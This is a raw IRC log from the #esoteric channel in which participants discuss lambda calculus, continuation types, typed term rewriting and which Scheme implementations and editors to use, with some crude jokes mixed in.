:alise!unknown@unknown.invalid PRIVMSG #esoteric :converting (\{f} 0) to {f} < 1268138332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where {f} is f's current identifier number < 1268138349 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that's irrelevant though < 1268138361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(\x. f x) is literally /the same function/ as f < 1268138364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just written a different way < 1268138370 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :skk is more like a different implementation of the same thing as i < 1268138387 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not convinced that (\x. f x) is the same function < 1268138404 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it certainly isn't in a strict lang if determining the value of f has side effects < 1268138415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then f isn't a value :P < 1268138461 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep; this argument only works if f is a function constant < 1268138466 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :this is such a weird discussion < 1268138474 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perhaps the issue here is, that constant folding on functions is a fool's errand < 1268138488 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you end up evaluating the whole program at compile time, and if it contains an infinite loop you're in trouble < 1268138493 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: it's the sort of discussion we have here < 1268138543 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I know < 1268138548 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :But this needs to be more interesting < 1268138558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: let's put it this way - eta-conversion + n-reduction and then comparing syntactic structure is the kind of thing we do in our fancy functional langs :P < 1268138562 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :although I credit alise and him talking about de bruijn seqs < 1268138562 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, anything remotely related to Feather is inherently weird < 1268138573 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: de bruijn indexes < 1268138576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :different thing < 1268138578 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: as an optimisation? < 1268138579 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :idxs, yeah < 1268138581 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :that's what I meant < 1268138591 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: no < 1268138606 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why, then? < 1268138614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... the type of continuations is really strange < 1268138635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, of callCC, specifically < 1268138654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :continuations have a relatively simple type (function from some type to bottom) < 1268138661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :((a -> X) -> a) -> a < 1268138665 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where X is forall b. b < 1268138668 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :call/cc, yes, that's weird < 1268138675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is actually exists b. b < 1268138684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is actually isomorphic to () :-) < 1268138693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but we have it as forall for convenience... < 1268138719 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the isomorphism there is misleading, I think < 1268138731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's true, though < 1268138734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :type-theoretically < 1268138740 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, but rather vacuous < 1268138749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, actually < 1268138759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :T (except the opposite of _|_) really is the supertype of all types, theoretically < 1268138764 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in practice, you implement it like data T = T < 1268138771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because they're the same thing < 1268138773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(it also represents truth) < 1268138782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(where false is the empty type, _|_) < 1268138808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : App :: LC (a -> b) -> LC a -> LC b -- it annoys me that you can't do this < 1268138820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because it stops you writing `semantics :: LC a -> a` < 1268138871 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :top bot < 1268138891 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :modal logic is weird; it has _|_, T, 0, and 1 as logic values < 1268138907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :where 0 and 1 vaguely correspond to false and true, T to both, and _|_ to neither < 1268138913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The fundamental theorem of type theory: all types are sandwiched between an act of gay sex, top to bottom. < 1268138924 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: hahahahaha < 1268138928 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :that is great < 1268138948 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, "bottom" is a stupid name for it < 1268138953 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not < 1268138962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's at the bottom of the type hierarchy < 1268138964 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've seen "eet" used for the same symbol ("tee" spelt backwards), for instance < 1268138982 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know why it has that name; but it's too many syllables and looks nothing like the symbol < 1268139009 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I just like to call them top and bot < 1268139013 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :literally "bot" < 1268139020 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :like bot fly :( < 1268139078 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Maybe I should recruit you for helping me design my language < 1268139097 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :since you seem more competent about type theory and stuff than I originally imagined < 1268139107 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: alise is an expert on that sort of stuff < 1268139111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : App :: LCC (a -> b) -> LCC a -> LCC (b -> c) -> LCC c -- I wonder how to modify this type to (apart from making it possible to compile) enforce CPS-style. < 1268139114 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I tend to care more about the practice than the theory < 1268139128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I'm no expert. < 1268139129 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I like practice too. < 1268139136 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Practice is very, very important. < 1268139152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. I could fold App's type into Lam. < 1268139161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we have LamApp and LamVar. < 1268139168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But then we can't have a top-level application. < 1268139174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I can model that to applying the main function to, say, id. < 1268139215 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : LamApp :: LCC (a -> b) -> LCC (b -> c) -> LCC (a -> c) -- Hey, look. It's compose. < 1268139438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, this model isn't workable. < 1268139600 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh well, time for my seminar < 1268139610 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Seminyarrrrrrrr < 1268140034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Aw man, my HOAS broke cwcc < 1268140045 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is probably going to have potato chips for breakfast
< 1268140448 0 :Asztal!~asztal@host86-156-98-112.range86-156.btcentralplus.com JOIN :#esoteric < 1268140714 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268140727 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I now have an interpreter for the Lambda Calculus of Continuations, but no pretty-printer, so I can't test it. < 1268141058 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, put differently, you have nothing. < 1268141097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I'm going to write a type-inferrer so that I can see the sort of results. < 1268141103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Any hey, I can make it loop forever. < 1268141126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wait, all LC expressions have the type a = a -> a. < 1268141130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Um. < 1268141145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The AST isn't terribly conducive to pretty-printing: < 1268141150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data LCC t where < 1268141152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : App :: LCC Lam -> LCC Lam -> LCC Lam -> LCC App < 1268141154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Lam :: (LCC Lam -> LCC Lam -> LCC t) -> LCC Lam < 1268141210 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, should I learn Common Lisp or Scheme [I think I may have asked you this before]. Although Scheme seems attractive, there's pretty much no large standard library < 1268141222 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Don't know if CL has one, but from what I gathered.. < 1268141287 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not even going to answer because you seem to value a language based on how many BSD socket libraries it has, and this is poisonous. < 1268141323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Scheme (R5RS, not R6RS) is clearly the superior language. Common Lisp doesn't have standard sockets either. It does have Roman Numeral support, though. < 1268141360 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :...who said anything about sockets? < 1268141423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The prototypical example of a "practical" "standard" "library"> < 1268141423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*. < 1268141559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: So, uh, tell me about your language. < 1268141670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, Quadrescence and Gregor seem to hate PLT Scheme, I'm still not sure why. Do you have any comments on PLT Scheme? < 1268141683 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It is a language that is intended to be practical for general programming, but will be particularly designed for building a computer algebra system with it. I want it strictly statically typed, however, if a certain type can't be proven/shown, that should NOT error, but be left for run-time resolution < 1268141690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :PLT Scheme [...] is rubbish. < 1268141706 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Use SISC, or Scheme48, or Chicken, or ... < 1268141724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Computer algebra system: You want a term rewriting language. (Trust me.) < 1268141740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A typed one is an endeavour I've looked into before, and one that is very interesting. < 1268141747 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes definitely < 1268141757 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I've read my fair share of TRS junk < 1268141764 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: But as for the untyped-leave-to-runtime... Why not just have a more powerful type system? < 1268141799 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :In what way is PLT rubbish? < 1268141812 0 :ztirf4!~ztirf@HSI-KBW-085-216-050-047.hsi.kabelbw.de JOIN :#esoteric < 1268141837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: To understand the reasons why you'd have to understand Scheme. < 1268141837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Catch-22. < 1268141842 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Trust ze sexperts. < 1268141860 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Every single implemented dependent type system is annoying as ! to use, at least in my opinion. I don't want the programmer to fight with the compiler; I want him/her to work with it. This is NOT to say the type system can't be powerful! I am just saying things should be optional in a sense. < 1268141883 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, how well do I have to understand Scheme? I think I understand the basics at this point < 1268141894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Well, I agree that most dependently-typed languages aren't too nice to use. < 1268141897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: almost entirely. < 1268141906 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Knowing some functions and stuff won't make you "know" scheme < 1268141910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: But, I mean, my main project is to make dependently-typed languages nice. < 1268141913 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You really have to "see the light" to know scheme < 1268141917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: So you must understand that I'll push for that. :-) < 1268141931 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Of course. I *want* dependent types. < 1268141936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, even something like Haskell's type system can be extended a little bit to make it lenient for anything you'd want. < 1268141938 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, what Scheme is most recommended for newbies? < 1268141949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Right. My opinion is that you can make them nice /and/ mandatory. < 1268141965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Well, not SISC, too barebones... Scheme48 or Chicken. Chicken has more librarooz. < 1268141968 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: That might be possible, and if so, I'd probably enforce that < 1268141989 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: You might agree that less libraries = better for a new schemer < 1268141996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: But dependent types for term rewriting is in fact a project I had! (I gave up on it because it was really hard >_>) < 1268142011 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Yes, but Sgeo's obsessed with libraries. And really most eggs are fine. < 1268142015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Besides, SISC is Java. :-P < 1268142022 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Nothing is wrong with libraries < 1268142029 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :but I think the "point" of Scheme will be missed < 1268142034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1268142042 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Just at the start. < 1268142049 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is "SRFI" what is meant by libraries? < 1268142053 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I'd use Scheme48 or so < 1268142059 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: They are "standard" libraries < 1268142067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: The problems with typing a term rewriting language are basically: One, identifying what you're typing (There's no nameable function, since we simply put little holes of free variables into an expression and rewrite it), and two, dealing with the extensibility (you can add to a "function" at any time just by creating a rule). < 1268142082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think I know how to solve the second one (with an entirely new type system). The first may just be a syntactic fluff. < 1268142085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*a bit of < 1268142095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Oh, I forgot S48. < 1268142098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Use Scheme48. < 1268142132 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The Windows distribution is "experimental" < 1268142135 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Right. My rule was going to be this: you can't create a new function/constructor unless it can be typed < 1268142159 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Oh, you're on windows, no wonder why you are attached to dr scheme < 1268142164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Oh. < 1268142166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Windows. < 1268142170 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is Notepad++ any good with Scheme? < 1268142177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Emacs. Only. < 1268142179 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :emacs is good for scheme < 1268142179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or Edwin, even, lol. < 1268142179 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268142185 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with Quack, I suggest. < 1268142190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anything else will fail. Horribly. Do not even bother. < 1268142195 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Bla just use dr scheme < 1268142204 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Set to R5RS at least < 1268142206 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Since you're on windows, there's little you can really do < 1268142209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Think of the /children/ < 1268142212 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and yes, set it to R5RS < 1268142227 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Notepad++ seems to have Scheme support < 1268142238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Should we move discussion of this language elsewhere so I can blab a lot about the type system for term rewriting I half-thought up? < 1268142241 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It has rudimentary highlighting, probably. < 1268142242 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Scheme highlighting isn't the important part < 1268142245 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And no nice indentation thingy < 1268142254 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you are not going to trust the opinions of people who /know/ what they're talking about, why ask? < 1268142255 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I typed (let ((a 5) and hit enter < 1268142256 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Sure < 1268142259 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It didn't autoindent < 1268142273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Same with Emacs. Technically. (Ctrl-J :P) < 1268142278 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Just use PLT/whatever < 1268142282 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Name it < 1268142297 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah dr scheme at least has a workable editor for newbz < 1268142299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: (the channel) < 1268142303 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ummmmmmm < 1268142347 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Does PLT in r5rs mode support the SRFIs that PLT is supposed to support? < 1268142370 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Well I wouldn't want to usurp your holy rights as a Platonic-space-excavator. :P < 1268142378 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yes. < 1268142379 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: #~math < 1268142384 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is happy now
< 1268142401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: No, Libster and base3 will just start attempting to troll me again. < 1268142402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Keyword "attempting". < 1268142426 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: No. < 1268142429 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Libster is banned < 1268142437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hah, really? < 1268142439 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :base3 is gone < 1268142441 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes really < 1268142454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, let's just do #rewritetypes so there's no flood. < 1268142460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unless someone /else/ has that channel... < 1268142471 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No one is talking < 1268142485 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :but we can make a new channel if you so desire < 1268142490 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268142502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The holy institution of making a new channel, a.k.a. /j #foo :-P < 1268142661 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um... >.> < 1268142674 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Are there any socket thingies in any SRFIs? < 1268142733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I shouldn't have even bothered. < 1268142768 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'll take that as a "No, and you're completely missing the point" < 1268142780 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not no. < 1268142795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But not yes. Actually not even mu, I meant exactly what I said. But yes, you are missing the point. < 1268142936 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :.. < 1268143044 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What is the point, exactly? < 1268143057 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should just stick with Haskell >.> < 1268143107 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I doubt you get Haskell's point either. < 1268143113 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :woo < 1268143115 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :xv < 1268143117 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :tomorrow i turn 2^3 * 3 years old. :D < 1268143302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You'll be 512! < 1268143355 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That spacing is misleading, since the exclusive-or binds less tightly than multiplication there. < 1268143375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1268143401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He'll be 11. < 1268143429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or 3, if you interpret it like he said. < 1268143437 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... INTERCAL can do Roman Numerals, at least for output < 1268143452 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe Common Lisp was just making implementing it easier? < 1268143470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1268143483 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Have you any opinions on how to best represent an Othello board? < 1268143486 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Functional language.) < 1268143510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm thinking of some sort of function-based representation, something that reifies the concept of the continuous line into the way you access the board. < 1268143532 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't think I can come up with correct opinions < 1268143542 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: not exclusive or. < 1268143544 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :exponentiation. < 1268143545 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268143546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :based on what I'm doing at work atm, I'd come up with a functional translation of the OO way to represent it < 1268143547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incorrect ones are fine too, ais523. < 1268143551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :augur: Ohh you don't say < 1268143554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#boring, that way < 1268143558 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no matter what the correct representation actually was < 1268143563 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true < 1268143570 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i could've done something more interesting < 1268143588 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Wilful misinterpretation is the norm here, isn't it? < 1268143593 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so basically, you'd have a function with arguments (method of accessing the board, argument to that method) < 1268143597 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION fails to see PLT on http://people.csail.mit.edu/jaffer/SLIB.html
< 1268143600 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, that is terrible < 1268143617 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nicely abstracted and extensible, but otherwise terrible < 1268143660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: slib sucks < 1268143671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence will back me up on this... i hope < 1268143696 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, so what doesn't suck? < 1268143710 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Nothing! < 1268143735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Me! It'd be illegal. < 1268143784 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of which, where does the "put a sock on it" expression come from? (And don't reply with a line number.) < 1268143847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Condoms. < 1268143861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OBVIOUSLY. < 1268143878 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that "it". < 1268143879 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: hahahahaha < 1268143880 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :slib < 1268143882 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :slib blows < 1268143901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :slib blows... anuses < 1268143957 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So... does this mean for networking stuff, I'd be using the implementation's stuff? < 1268143966 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or is there anything else? < 1268144140 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Just learn scheme < 1268144142 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :then do cool stuff < 1268144282 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268144288 0 :ztirf4!unknown@unknown.invalid QUIT :Quit: Nettalk6 - www.ntalk.de < 1268144341 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gibbers a bit
< 1268144993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :axiom interact : Interaction pre final transform result → (ω:Worldish) → pre ω → (result → transform ω → Φ Worldish (λω₁ → final ω₁)) < 1268144995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Or something." < 1268145004 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think Worldish has to be an opaque type. < 1268145021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That still lets us use the old world, though... < 1268145023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, perhaps: < 1268145115 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :axiom interact : Interaction pre final transform result → (c:Conditions) → pre c → (result → transform c → Φ Conditions (λc₁ → final c₁)) → (ω:World) → (conditions ω ≡ c) → World < 1268145118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Except with all the bits involving World omitted. < 1268145129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Except then you just move the problem of worlds to the conditions. < 1268145147 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I'm going to try learning Common Lisp < 1268145324 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hah. < 1268145401 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although I already know for a fact that I hate the names of some of the functions [saw a chart contrasting Scheme and CL] < 1268145454 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AFK < 1268146279 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268146447 0 :ais523!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268146485 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268146515 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1268146528 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :my entire system 